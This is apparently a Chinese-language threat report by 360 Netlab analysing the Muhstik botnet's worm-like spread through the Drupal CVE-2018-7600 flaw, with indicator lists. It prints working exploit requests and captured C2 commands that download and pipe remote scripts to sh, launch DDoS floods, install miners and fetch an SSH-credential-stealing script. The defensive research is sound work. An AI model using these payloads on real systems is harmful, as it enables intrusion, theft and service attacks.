僵尸网络 Muhstik 正在积极利用 Drupal 漏洞 CVE-2018-7600 蠕虫式传播

2018年3月28日,Drupal.org 公布了漏洞 CVE-2018-7600 的修复方案。Drapal 是一个开源的内容管理系统,由PHP语言写成,有很多网站使用 Drupal 向外提供网页服务。本次漏洞存在于 Drupal 的多个版本中,攻击者可以利用该漏洞完全控制网站。

从2018年4月13日开始,360网络安全研究院观测到互联网上有大量针对该漏洞的扫描。通过分析,我们认为有至少3组恶意软件在利用该漏洞传播。其中一组恶意软件有蠕虫传播行为,感染量显著比其他的恶意软件更多。分析后,我们认为这是一个长期存在的僵尸网络家族。我们将其命名为 muhstik,这主要是因为其二进制文件名和通信协议中多处包含了这个字符串。

我们认为 muhstik 有以下特点值得社区关注:

  • 蠕虫式传播
  • 长期存在
  • 使用的漏洞利用数目众多
  • 混合使用了多种牟利方式

攻击载荷

按照时间顺序,Muhstik使用了下面两组攻击载荷,这两组载荷占据了全部看到的载荷的80%左右,是我们看到的攻击的主要部分:

  • #1 活跃时间:2018-04-14 03:33:06~ 2018-04-17 15:40:58
  • #2 活跃时间:2018-04-16 19:38:39~至今

对应的攻击来源,其 IP 地址非常分散,而且基本都运行着 Drupal 程序。攻击来源自身是攻击载荷的易感染目标,这是蠕虫式传播的重要指标,引起了我们的警觉。

两组攻击载荷的详细信息如下:

POST  
/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Cache-Control: no-cache  
Connection: keep-alive  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
Host: {target}  
Content-Type: application/x-www-form-urlencoded  
Content-length: 2048  
form_id=user_register_form&_drupal_ajax=1&mail[#post_render[]=exec&mail[#type]=markup&mail[#markup]=echo "team6 representing 73de29021fd0d8d2cfd204d2d955a46d"|tee t6nv  
POST  
/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Cache-Control: no-cache  
Connection: keep-alive  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
Host: {target}  
Content-Type: application/x-www-form-urlencoded  
Content-length: 170  
form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=wget%20http%3A%2F%2F51.254.219.134%2Fdrupal.php  

样本 aiox86 导致了上述攻击载荷 #2

有以下关键样本

da17dc1438bb039968a5737c6fbc88cd aiox86  

我们认为上述样本 aiox86 及其相关样本产生了前述攻击载荷:

  • #2 攻击载荷,存在于该样本中
  • #1 攻击载荷与 #2 非常相似,我们认为应该是该样本的相关样本产生

下图是样本脱壳后的部分片段,与 #2 攻击载荷完全一致。

事实上,该样本的扫描行为已经比较复杂,远不止前述针对 drupal 漏洞的扫描:

  • 扫描目标IP地址:会从远端服务器 191.238.234.227 获取目标IP地址,这样攻击者可以对攻击目标有较为灵活的控制;
  • 投递漏洞载荷:不仅限于 Drupal,还包括另外 6 种漏洞载荷;
  • 扫描目标端口:不仅限于 TCP 80,还包括TCP端口 8080, 7001, 2004;每个端口上会尝试若干不同载荷;
  • 扫描结果上报:载荷植入成功后,会访问远端服务器 51.254.219.134 上报,不同载荷访问不同的URL。通过这种方式,攻击者可以很轻易的识别受害者的弱点。

获取扫描目标IP地址:

hxxp://191.238.234.227/amazon.php     #我们尝试从这个URL上获得了50个网段,均属于Amazon所有  
hxxp://191.238.234.227/dedi.php       #我们尝试从这个URL上获得了50个网段,所属公司较为分散  

所投递的漏洞载荷:

ClipBucket:rss.php  
DasanNetwork Solution:/cgi-bin/index.cgi  
Drupal:CVE-2018-7600  
WebDav  
Weblogic:CVE-2017-10271  
Webuzo:install.php  
Wordpress:install.php  

扫描目标端口与载荷的对应关系:

80:Weblogic,Wordpress,Drupal,WebDav,ClipBucket  
2004:Webuzo  
7001:Weblogic  
8080:Wordpress,WebDav,DasanNetwork Solution  

载荷上报信息接口:

hxxp://51.254.219.134/clipbucket.php    #ClipBucket  
hxxp://51.254.219.134/dasan.php    #DasanNetwork_Solution  
hxxp://51.254.219.134/dav.php    #Webdav  
hxxp://51.254.219.134/drupal.php    #Drupal  
hxxp://51.254.219.134/oracleaudit.php?port=    #Weblogic  
hxxp://51.254.219.134/tomato.php    #http401,用作探测中间状态  
hxxp://51.254.219.134/webuzo.php    #Webuzo  
hxxp://51.254.219.134/wp.php    #Wordpress  

样本aiox86 是由 Muhstik 僵尸网络分发的

在 360网络安全研究院,我们持续的监控诸多僵尸网络的攻击指令。本次我们发现,139.99.101.96:9090 控制服务器,在2018-04-19 04:04附近,通过下述指令分发了样本 aiox86:

上述C2,隶属于 Muhstik 僵尸网络家族。

Muhstik 僵尸网络家族

Muhstik 是 Tsunami 僵尸网络的一个变种,其特点包括:

  • 代表样本: c37016e34304ff4a2a0db1894cdcdb92
  • C2服务器: 域名/IP地址共计11个,见后,端口均为 9090。我们猜测这是为了负载均衡
  • 通信协议: 基于IRC服务协议,通过不同的Channel发送不同指令
  • IRC Channel:我们观察到有多个IRC Channel,均以 muhstik 开头。目前我们并不完全确认每个C2服务器上具体开通了哪些Channle,这是由IRC协议本身的特性决定的,仅在我们接收到对应Channel里的通信指令时,才能确认攻击者在该服务器上开通了该Channel

Muhstik 僵尸网络的结构已经比较复杂了,如前所述,样本中硬编码了11个C2域名/IP。除此之外,其传播和获利方式也多种多样。

Muhstik 的传播模块:

  • aioscan扫描模块:如前所述,该扫描模块里包含了4个端口上6种扫描载荷
  • SSH扫描模块:弱口令扫描

Muhstik 的获利方式:

  • xmrig 挖矿:挖取XMR数字代币,对应的矿池地址是147.135.208.145:4871,自建矿池。
  • cgminer挖矿:挖取BTC数字代币,使用了多个矿池,用户名均为reb0rn.D3
  • DDoS 攻击:我们在2018-04-19 当天 07:20~07:40期间,截获多条针对 46.243.189.102 的攻击指令。(在我们的DDoSMon.net没有看到这次攻击,但是看到了较早前针对该IP地址的多次攻击)

Muhstik cgminer 钱包和矿池地址:

  {
    "url": "stratum+tcp://dash.viabtc.com:443",
    "user": "reb0rn.D3",
    "pass": "x"
  },
  {
    "url": "stratum+tcp://dash.viabtc.com:443",
    "user": "reb0rn.D3",
    "pass": "x"
  },
  {
    "url": "stratum+tcp://dash.viabtc.com:443",
    "user": "reb0rn.D3",
    "pass": "x"
  }

Muhstik C2 列表,按照其在样本中硬编码的顺序:

139.99.101.96:9090    AS16276 OVH SAS  
144.217.84.99:9090    AS16276 OVH SAS  
145.239.84.0:9090    AS16276 OVH SAS  
147.135.210.184:9090    AS16276 OVH SAS  
142.44.163.168:9090    AS16276 OVH SAS  
192.99.71.250:9090    AS16276 OVH SAS  
142.44.240.14:9090    AS16276 OVH SAS  
121.128.171.44:9090    AS4766 Korea Telecom    #当前未生效  
66.70.190.236:9090    AS16276 OVH SAS #当前未生效  
145.239.93.125:9090    AS16276 OVH SAS  
irc.de-zahlung.eu:9090        #当前未生效  

IRC Channel,字母序:

#muhstik
#muhstik-i586
#muhstik-SSH
#muhstik-x86

我们监听这些 IRC Channel时获取到若干指令,部分指令如下,截图依次见后:

#muhstik-x86  #植入xmrig64挖矿程序;
#muhstik-x86  #植入Muhstik.aioscan扫描模块
#muhstik-x86  #探测bot是否有drupal存在
#muhstik      #植入Muhstik.aioscan扫描模块
#muhstik      #发出DDoS攻击指令;
#muhstik-SSH  #cgminer 挖矿程序的配置文件;
#muhstik-SSH  #执行SSH扫描
#muhstik-SSH  #窃取本地保存的ssh凭证,进一步横向扩展,投递自身,实现蠕虫式传播
#muhstik-i586 #植入 Muhstik.aioscan
#muhstik-i586 #植入xmrig32挖矿程序

#muhstik-x86 #植入xmrig64挖矿程序

:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH curl http://104.236.26.43/muhstik.sh | sh > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH wget -qO - http://104.236.26.43/muhstik.sh | sh > /dev/null 2>&1 & 

#muhstik-x86 #植入Muhstik.aioscan扫描模块

:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH (wget -c http://191.238.234.227/x/aiox86 -O /tmp/aiox86 ; chmod +x /tmp/aiox86) > /dev/null 2>&1 :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 dedi > /dev/null 2>&1 &

#muhstik-x86 #探测bot是否有drupal存在

:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php && echo $(hostname -I | cut -d" " -f 1))
:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php && echo $(hostname -I | cut -d" " -f 1)) || echo "No drupal"
:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php | grep 17 && echo $(hostname -I | cut -d" " -f 1))
:m!m@null PRIVMSG #muhstik-x86 :(wc -l autoload.php && echo $(hostname -I | cut -d" " -f 1)) || echo "No drupal"

#muhstik #植入Muhstik.aioscan扫描模块

:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm dedi > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH (wget -c http://191.238.234.227/x/aioarm -O /tmp/aioarm ; chmod +x /tmp/aioarm) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel dedi > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH (wget -c http://191.238.234.227/x/aiomipsel -O /tmp/aiomipsel ; chmod +x /tmp/aiomipsel) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips dedi > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH (wget -c http://191.238.234.227/x/aiomips -O /tmp/aiomips ; chmod +x /tmp/aiomips) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc dedi > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH (wget -c http://191.238.234.227/x/aioppc -O /tmp/aioppc ; chmod +x /tmp/aioppc) > /dev/null 2>&1 &

#muhstik #发出DDoS攻击指令;

:m!m@null PRIVMSG #muhstik :!* STD 46.243.189.102 127 60 XXXXXXXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*0|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*1|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*2|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*3|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*4|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*5|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*6|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*7|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*8|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*9|* STD 46.243.189.102 127 30 XXXX

#muhstik-SSH #cgminer 挖矿程序的配置文件

:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep D3 && ( wget -qO - http://51.254.221.129/cgminer.x11.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart ) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep L3 && ( wget -qO - http://51.254.221.129/cgminer.scrypt.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart )> /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S4 && (cgminer-api "addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x" && cgminer-api "switchpool|3" ) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S5 && (cgminer-api "addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x" && cgminer-api "switchpool|3" ) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S7 && ( wget -qO - http://51.254.221.129/cgminer.sha256.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart) > /dev/null 2>&1 &

#muhstik-SSH #窃取本地保存的ssh凭证,进一步横向扩展,投递自身,实现蠕虫式传播

:m!m@null PRIVMSG #muhstik-ssh :!* SH wget -qO - http://121.127.216.91/multiply/wp-content/plugins/all-in-one-wp-migration/t6ssh | sh > /dev/null 2>&1 &

#muhstik-SSH #执行SSH扫描

:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 100 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 101 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 102 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 103 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 104 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 106 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 107 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 108 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 110 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 111 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 112 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 113 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 114 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 118 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 119 100 25 54.39.23.28 51.254.219.137

#muhstik-i586 #植入 Muhstik.aioscan

:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH (wget -c http://191.238.234.227/x/aioi586 -O /tmp/aioi586 ; chmod +x /tmp/aioi586) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 dedi > /dev/null 2>&1 &

#muhstik-i586 #植入xmrig32挖矿程序

:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH wget -qO - http://104.236.26.43/xmrt32.sh | sh > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH curl http://104.236.26.43/xmrt32.sh | sh > /dev/null 2>&1 &

Muhstik 可能来源已久

通过对 Muhstik 相关域名的历史溯源,我们发现 Muhstik 由来已久,跟以下域名有较为强烈的关联关系。

dasan.deutschland-zahlung.eu  
134.ip-51-254-219.eu  
uranus.kei.su  
wireless.kei.su  
www.kei.su  
y.fd6fq54s6df541q23sdxfg.eu  

IoC

Muhstik C2 List

139.99.101.96:9090    AS16276 OVH SAS  
144.217.84.99:9090    AS16276 OVH SAS  
145.239.84.0:9090    AS16276 OVH SAS  
147.135.210.184:9090    AS16276 OVH SAS  
142.44.163.168:9090    AS16276 OVH SAS  
192.99.71.250:9090    AS16276 OVH SAS  
142.44.240.14:9090    AS16276 OVH SAS  
121.128.171.44:9090    AS4766 Korea Telecom    #当前未生效  
66.70.190.236:9090    AS16276 OVH SAS #当前未生效  
145.239.93.125:9090    AS16276 OVH SAS  
irc.de-zahlung.eu:9090        #当前未生效  

Muhstik Malware URL

hxxp://51.254.221.129/c/cron  
hxxp://51.254.221.129/c/tfti  
hxxp://51.254.221.129/c/pftp  
hxxp://51.254.221.129/c/ntpd  
hxxp://51.254.221.129/c/sshd  
hxxp://51.254.221.129/c/bash  
hxxp://51.254.221.129/c/pty  
hxxp://51.254.221.129/c/shy  
hxxp://51.254.221.129/c/nsshtfti  
hxxp://51.254.221.129/c/nsshcron  
hxxp://51.254.221.129/c/nsshpftp  
hxxp://51.254.221.129/c/fbsd  
hxxp://191.238.234.227/x/aiox86  

Muhstik Malware MD5

c37016e34304ff4a2a0db1894cdcdb92     #Muhstik样本模块  
da17dc1438bb039968a5737c6fbc88cd     #Muhstik扫描模块